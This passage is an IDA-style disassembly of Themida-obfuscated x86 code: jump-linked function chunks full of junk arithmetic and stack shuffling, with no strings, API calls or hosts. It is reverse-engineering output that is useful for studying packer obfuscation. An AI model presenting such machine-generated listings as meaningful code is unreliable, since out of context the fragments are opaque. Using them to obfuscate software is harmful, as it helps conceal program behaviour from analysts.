; END OF FUNCTION CHUNK	FOR sub_5AD9CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59EEBA:				; CODE XREF: sub_5A1B2A-1362j
		sub	edi, 4121379h
		jmp	loc_59958C
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_59EEC5:				; CODE XREF: sub_59AE49+23j
					; sub_5AB88E-447Cj
		mov	[esp+0], eax
		mov	eax, 21553041h
		and	eax, 638357FFh
		jmp	sub_5A8EEF
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------


loc_59EED7:				; CODE XREF: Themida_:005A7573j
		push	ecx
		jmp	loc_5AA546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59EEDD:				; CODE XREF: sub_5A1340-2E8Dj
		push	edx
		mov	dh, 85h
		add	bl, 41h
		add	bl, dh
		sub	bl, 41h
		pop	edx
		add	bl, al
		jmp	loc_5A2FD7
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_59EEF0:				; CODE XREF: sub_59DFDD+8E01j
		mov	edi, 146B4F73h
		add	edi, 0FFFFFFFFh
		not	edi
		neg	edi
		sub	edi, 0FC7C0799h
		sub	esi, edi
		pop	edi
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		add	esi, 2
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		jmp	loc_5A785B
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59EF23:				; CODE XREF: sub_59D99C+4169j
		not	edi
		push	eax
		mov	eax, 4B34476Dh
		or	edi, eax
		pop	eax
		push	0
		jmp	loc_5ADCFE
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59EF38:				; CODE XREF: sub_5A8C33-1FFBj
		neg	ecx
		jp	loc_598103
		sub	ecx, 6CE84E8Bh
		mov	ebx, ecx
		mov	ah, al
		mov	edx, edi


loc_59EF4C:				; CODE XREF: sub_5A28BE-501j
		pop	ecx
		jmp	loc_59AAED
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_59EF52:				; CODE XREF: Themida_:0059C3EFj
		add	eax, 0B3BC66BFh
		mov	ebx, eax
		jmp	loc_5A15C1
; ---------------------------------------------------------------------------


loc_59EF5E:				; CODE XREF: Themida_:005A3783j
		xchg	edi, [esp]
		jmp	loc_59E63A

; =============== S U B	R O U T	I N E =======================================



sub_59EF66	proc near		; CODE XREF: sub_5AC95F-4A5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00597F9C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005997FC SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059C000 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F5B9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A101B SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A3C4C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A65FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8BAA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A9869 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005AF123 SIZE 0000000D BYTES

		push	ebp
		jmp	loc_59F5B9
sub_59EF66	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59EF6C:				; CODE XREF: sub_59D99C+11206j
		mov	[esp+8+var_8], ecx
		jmp	loc_5A6615
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_59EF74:				; CODE XREF: sub_5AA46D-58CEj
		add	edi, ebp
		add	edi, 36A54D23h
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5AAA79
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59EF8E:				; CODE XREF: sub_5A1B2A+B2CBj
		xor	esi, 29367182h
		push	edi
		jmp	loc_59C989
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59EF9A:				; CODE XREF: sub_59D99C-4280j
					; sub_59B0C4+11B09j
		mov	esi, edi
		pop	edi
		and	eax, esi
		push	[esp+0Ah+var_C+2]
		push	[esp+0Eh+var_10+2]
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		sub	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, esp
		push	393Ch
		mov	[esp+12h+var_14+2], eax
		mov	eax, 101179AAh
		jmp	loc_59DCFD
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59EFD5:				; CODE XREF: Themida_:005A59D4j
		mov	ecx, [esp]
		push	edi
		jmp	loc_5A5E61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59EFDE:				; CODE XREF: sub_59B707+6220j
		sub	ebx, ebp
		pop	ebp
		add	ebx, esi
		add	ebx, 2AB7958h
		jmp	loc_5A9116
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59EFEE:				; CODE XREF: Themida_:0059C9A3j
		push	edi
		mov	edi, 23B5032Ah
		jmp	loc_5AE1A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59EFF9:				; CODE XREF: sub_5ACD64-2323j
		add	ecx, 7EFFBF40h
		add	ecx, 0FBA626Dh
		jmp	loc_5A9D66
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59F00A:				; CODE XREF: sub_5AC95F-136A1j
		mov	edx, 12A02AFh
		add	ebx, edx
		pop	edx
		jmp	loc_59C1D6
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A03D


loc_59F017:				; CODE XREF: sub_59A03D+D5Ej
		inc	ecx
		jg	loc_5A1718
		dec	ecx
		jl	sub_5A8F00
		push	ebx
		mov	ebx, 5465F452h
		add	ecx, ebx
		pop	ebx
		mov	eax, ecx
		pop	ecx
		add	edx, eax
; END OF FUNCTION CHUNK	FOR sub_59A03D
; START	OF FUNCTION CHUNK FOR sub_599721


loc_59F033:				; CODE XREF: sub_599721+1424Aj
		xor	ebx, [esp+4+var_4]
		pop	esp
		and	ecx, ebp
		push	dword ptr [esp+0]
		pop	ebp
		push	edi
		push	esp
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		push	2B6Ah
		mov	[esp+8+var_8], edi
		push	[esp+8+var_4]
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		pop	[esp+8+var_8]
		jmp	loc_59DB6F
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59F06B:				; CODE XREF: sub_59C53B+120E7j
		not	edx
		push	ebp
		mov	ebp, 52775299h
		add	ebp, 0FF71BB29h
		add	edx, ebp
		push	[esp+18h+var_18]
		jmp	loc_598C9A
; ---------------------------------------------------------------------------


loc_59F083:				; CODE XREF: sub_5AEFD6-155D2j
					; sub_59C53B:loc_5A89B7j
		push	249Ah
		mov	[esp+14h+var_14], ecx
		mov	ecx, 24h
		jmp	loc_5AF1CE
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59F095:				; CODE XREF: sub_5A141E+6659j
		add	eax, 787D536Bh
		xor	eax, 174E1FA3h
		jmp	loc_59C157
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59F0A4:				; CODE XREF: sub_59D99C+F20Bj
		mov	ebx, 0AB1CE870h
		add	edi, ebx
		pop	ebx
		mov	ebx, edi
		jmp	loc_59C10D
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59F0B3:				; CODE XREF: sub_59B707:loc_5A9E08j
		jmp	loc_5ABE3C
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59F0B8:				; CODE XREF: sub_59D99C-920j
		jmp	loc_59C535
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59F0BD:				; CODE XREF: sub_5A8C33-F8F6j
		add	edi, 71844FC8h
		jnp	sub_5A6DA1
		jmp	loc_59887D
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_59F0CE:				; CODE XREF: sub_5A34FD-18F6j
		add	esp, 4
		jmp	loc_5AD80F
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_59F0D6:				; CODE XREF: Themida_:005A993Fj
		shl	ebp, 1
		or	ebp, 4AA43D4Fh
		add	ebp, 0B1494225h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB531


loc_59F0FE:				; CODE XREF: sub_5AB531-67D5j
		add	ebx, 5F581337h
		or	ebx, 1DE8786Bh
		not	ebx
		jmp	loc_5A480F
; END OF FUNCTION CHUNK	FOR sub_5AB531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59F111:				; CODE XREF: sub_5AC95F-4694j
		add	ebx, esi
		pop	esi
		and	ebx, 2AA2074Fh
		sub	ebx, 20820407h
		jmp	sub_5A346D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_59F125:				; CODE XREF: sub_599721+A970j
		sub	edx, 1
		not	edx
		add	edx, 0B422A86Ch
		add	edi, edx
		pop	edx
		xor	ebp, edi
		mov	edi, [esp+0]
		jmp	loc_5A539D
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
		push	5031h
		jmp	loc_5A652D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59F147:				; CODE XREF: sub_5A3F42-495Bj
		add	[esp+8+var_4], ebp
		pop	ebp
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	esi, 2C4F092Bh
		add	esi, 7AA91EBAh
		jmp	loc_5A3167
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59F169:				; CODE XREF: sub_59ACEC+13BCCj
		shr	ecx, 4
		push	ebp
		jmp	loc_59C902
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59F172:				; CODE XREF: sub_5AC95F-83B7j
		xchg	edx, [esp+0]
		pop	esp
		push	0A01h
		mov	[esp+0], ecx
		push	[esp+arg_0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_5AB842
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59F18A:				; CODE XREF: Themida_:005ABCE9j
		add	ebx, ecx
		add	ebx, 5321338Eh
		jmp	loc_59F314
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59F197:				; CODE XREF: sub_5AC95F-3BB8j
		xor	eax, edi
		pop	edi
		pop	edi
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		jmp	loc_5AB1C2
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59F1A6:				; CODE XREF: Themida_:0059BBA9j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	43D61198h
		pop	ebx
		xchg	eax, ebx
		neg	eax
		xchg	eax, ebx
		shl	ebx, 2
		shl	ebx, 2
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 28BF2F00h
		shl	eax, 4
		or	eax, 5C8A674Eh
		add	eax, 27F515C5h
		push	edi
		mov	edi, 73190C36h
		xor	eax, edi
		pop	edi
		or	ebx, eax
		pop	eax
		xor	ebx, 0F6FFE7A7h
		jmp	loc_59DD04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_59F1EF:				; CODE XREF: sub_598D67+9866j
		sub	eax, 75E0730Ah
		push	6A03h
		mov	[esp+4+var_4], eax
		pop	ebx
		pop	eax
		add	edx, ebx
		pop	ebx
		jmp	loc_5AE286
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C683


loc_59F206:				; CODE XREF: sub_59C683+D94Dj
		pop	ebx
		mov	edx, [esp+0Ch+var_C]
		jmp	loc_5A91F2
; END OF FUNCTION CHUNK	FOR sub_59C683

; =============== S U B	R O U T	I N E =======================================



sub_59F20F	proc near		; CODE XREF: sub_59B707+88D4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599231 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B934 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D88A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1CC8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A20C2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A2EE0 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A3489 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3C68 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4413 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005A4B34 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A76C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A92F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9E13 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AAD85 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AB324 SIZE 00000015 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		pop	ebx
		jmp	loc_5A4413
sub_59F20F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_59F21F:				; CODE XREF: sub_5A1076:loc_5A8317j
		xor	ebx, 3CBC51E5h
		dec	ebx
		inc	ebx
		jmp	loc_5AB544
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_59F22C:				; CODE XREF: sub_5AB3DC-5727j
					; sub_59ACCE+D55Dj
		sub	edx, eax
		push	ecx
		mov	ecx, 256E49CCh
		and	ecx, 1795385h
		add	ecx, 2F3908A2h
		jb	loc_5A30F2
		push	edi
		jmp	loc_598132
; ---------------------------------------------------------------------------


loc_59F24C:				; CODE XREF: sub_5AB3DC-1F54j
		pop	eax
		sub	[esp+4], cx
		pop	cx
		mov	ax, word ptr [esp-0Eh+arg_8+2]
		jmp	loc_5A47FA
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59F25D:				; CODE XREF: sub_59CA4A+649j
		sub	ebp, 59D9659Eh
		neg	ebp
		add	ebp, 0D13E888h
		add	edx, 53DA1883h
		add	edx, ebp
		sub	edx, 53DA1883h
		mov	ebp, [esp-8+arg_4]
		jmp	loc_59C5AA
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	1772h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		jmp	loc_59D0DA

; =============== S U B	R O U T	I N E =======================================



sub_59F2C8	proc near		; DATA XREF: Themida_:00597980o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597FCB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00598DEC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059A0D7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059AAB9 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059BBDB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059CBAB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059D21D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E11D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059EE98 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1785 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A239F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A28C6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A52E6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5392 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5ADC SIZE 0000000C BYTES

		lodsb
		jmp	loc_59EE98
sub_59F2C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59F2CE:				; CODE XREF: sub_5A1B2A-4953j
		push	eax
		mov	eax, 3E027F75h
		mov	edi, eax
		pop	eax
		add	edi, 3CC807FCh
		inc	edi
		jmp	loc_59B381
; ---------------------------------------------------------------------------


loc_59F2E3:				; CODE XREF: sub_5A4E39-1A2Cj
					; sub_5A1B2A+6F5Dj
		pop	ebp
		jmp	loc_5ACA1A
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59F2E9:				; CODE XREF: sub_5A91EC-9B72j
					; Themida_:005A5D88j
		mov	[esp-10h+arg_C], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edx
		jmp	loc_5A9AFC
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59F2FC:				; CODE XREF: sub_5AE6FD:loc_5A8187j
		add	cl, 3Ch
		jo	loc_5A68FD
		not	cl
		add	cl, 4Bh
		jns	loc_59B0FA
		sub	cl, 0ECh
		pop	edi


loc_59F314:				; CODE XREF: Themida_:0059F192j
		pop	ecx
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		test	cl, al
		pushf
		jmp	loc_598BF1
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59F329:				; CODE XREF: sub_5986D6+8A4Cj
		pop	esp
		jmp	loc_5A301F
; END OF FUNCTION CHUNK	FOR sub_5986D6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_59F32F	proc near		; CODE XREF: sub_5ADFE3-11D6Fj

; FUNCTION CHUNK AT 005A918E SIZE 00000018 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_5A918E
sub_59F32F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59F337:				; CODE XREF: sub_59FFBE+27BCj
		add	[esp+4+var_4], 68E649C1h
		mov	esi, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_5AA0BC
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_59F358:				; CODE XREF: sub_5A28BE+7E6Ej
		pop	ebx
		jmp	loc_5A5545
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------


loc_59F35E:				; CODE XREF: Themida_:005A4953j
		mov	dh, 9Dh
		push	eax
		jmp	loc_5A13AC
; ---------------------------------------------------------------------------


loc_59F366:				; DATA XREF: Themida_:005978E4o
		mov	cx, [esp]
		jmp	sub_5AEBAF
; ---------------------------------------------------------------------------


loc_59F36F:				; CODE XREF: Themida_:005A7D20j
		add	edx, esi
		sub	edx, 59156767h
		pop	esi
		sub	edx, 3D8C7516h
		jmp	loc_5A743F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_59F383:				; CODE XREF: sub_59CFBF+B46Fj
		pop	edx
		push	edx
		not	[esp+8+var_8]
		pop	edx
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		jmp	loc_5A9030
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59F394:				; CODE XREF: sub_5A8C33+5EE5j
		add	[esp+18h+var_18], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_14]
		jmp	loc_59FC3A
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59F3AA:				; CODE XREF: sub_5A728F-9B59j
		push	4B6Ch
		mov	[esp+8+var_8], ecx
		push	eax
		mov	al, bl
		mov	ch, al
		pop	eax
		sub	esp, 4
		jmp	loc_5AED2D
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------


loc_59F3C3:				; CODE XREF: Themida_:005AA12Dj
		sub	edx, 1EFE542Dh
		jmp	loc_5A255F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59F3CE:				; CODE XREF: sub_5AC95F+1618j
		mov	[esp+0], ecx
		push	esi
		mov	esi, 6D156ADAh
		or	esi, 157A7FF8h
		jbe	loc_5A317D
		not	esi
		and	esi, 2626BB2h
		jbe	loc_5A7746
		not	esi
		add	esi, 4E0B5060h
		mov	ecx, esi
		mov	esi, [esp+4+var_4]
		add	esp, 4
		shl	ecx, 4
		push	ebx
		mov	ebx, 159C6E1Eh
		shl	ebx, 2
		not	ebx
		inc	ebx
		push	esi
		mov	esi, 2F47341Fh
		sub	ebx, esi
		pop	esi
		jmp	loc_5A1480
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59F421:				; CODE XREF: sub_5A1B2A-98C8j
		add	dword ptr [esp+0], 4
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	edx
		jmp	loc_5ADF5D
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59F435:				; CODE XREF: sub_5A8F00-8C30j
		jmp	loc_5A6FEB
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------


loc_59F43A:				; CODE XREF: Themida_:005A4DE0j
		neg	eax
		jns	loc_598094
		sub	eax, 0F4FDCF70h
		jmp	loc_5A13B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59F44C:				; CODE XREF: sub_59D99C+B6B1j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		or	eax, eax
		jz	sub_59C683
		sub	esp, 4
		jmp	loc_59D8E3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59F469:				; CODE XREF: sub_5ABE52-5FA9j
		inc	ebx
		jmp	loc_5AE257
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------


loc_59F46F:				; CODE XREF: Themida_:0059E4F8j
		pop	ecx
		add	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		movsx	ecx, ax
		push	31FEh
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59C996
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59F497:				; CODE XREF: sub_5ABE52-6C73j
		push	493Eh
		mov	[esp+8+var_8], ebx
		mov	ebx, 1
		sub	esp, 4
		jmp	loc_5A0D78
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A04C2


loc_59F4AF:				; CODE XREF: sub_5A04C2+1Ej
		mov	eax, [esp+0]
		jmp	loc_5A8E13
; END OF FUNCTION CHUNK	FOR sub_5A04C2
; ---------------------------------------------------------------------------


loc_59F4B7:				; CODE XREF: Themida_:0059A2E7j
		push	ebx
		mov	ebx, 69756AA2h
		add	ebx, 5BC72914h
		or	ebx, 4CB05B74h
		jmp	loc_59BC85

; =============== S U B	R O U T	I N E =======================================



sub_59F4CE	proc near		; CODE XREF: sub_599059+149E9j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AD421 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 4
		jmp	loc_5AD421
sub_59F4CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59F4DE:				; CODE XREF: sub_5A1340+1313j
		push	ecx
		mov	ch, 54h
		sub	al, ch
		pop	ecx
		jmp	loc_5A9D20
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------


loc_59F4E9:				; CODE XREF: Themida_:005AEB54j
		add	esp, 4
		jmp	loc_5AC3A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_59F4F1:				; CODE XREF: sub_5A879C-D616j
		neg	eax
		and	eax, 0B0C4F63h
		dec	eax
		shr	eax, 7
		jmp	loc_5ACA2D
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_59F501:				; CODE XREF: sub_5ABE52-311Ej
		sub	esi, edx
		pop	edx
		pop	ecx
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_59DC6B
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_59F50D:				; CODE XREF: sub_59C342+Bj
		shl	ebp, 4
		sub	ebp, 3A0736C1h
		sub	ebp, 0DD79E3Fh
		jmp	loc_5AB49F
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_59F521:				; CODE XREF: sub_59DFDD+EB4Fj
		sub	eax, 5A524697h
		add	eax, ecx
		push	esi
		mov	esi, 5A524697h
		add	eax, esi
		pop	esi
		sub	eax, 52A4098Ah
		jmp	sub_59A772
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_59F53B:				; CODE XREF: sub_5A58AC-4D94j
		shl	edx, 5
		jmp	loc_5A8C71
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------


loc_59F543:				; CODE XREF: Themida_:005A43D2j
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5ABB96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59F551:				; CODE XREF: sub_59A932+1085Bj
		mov	esi, 8D248D1h
		neg	esi
		jmp	sub_59B707
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59F55D:				; CODE XREF: sub_59FFBE+3741j
		add	edi, 150C5201h
		jnp	loc_59D56E
		push	2842h
		mov	[esp+0Ch+var_C], edx
		mov	edx, 0FF82416Eh
		xor	edi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_59B3DB
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


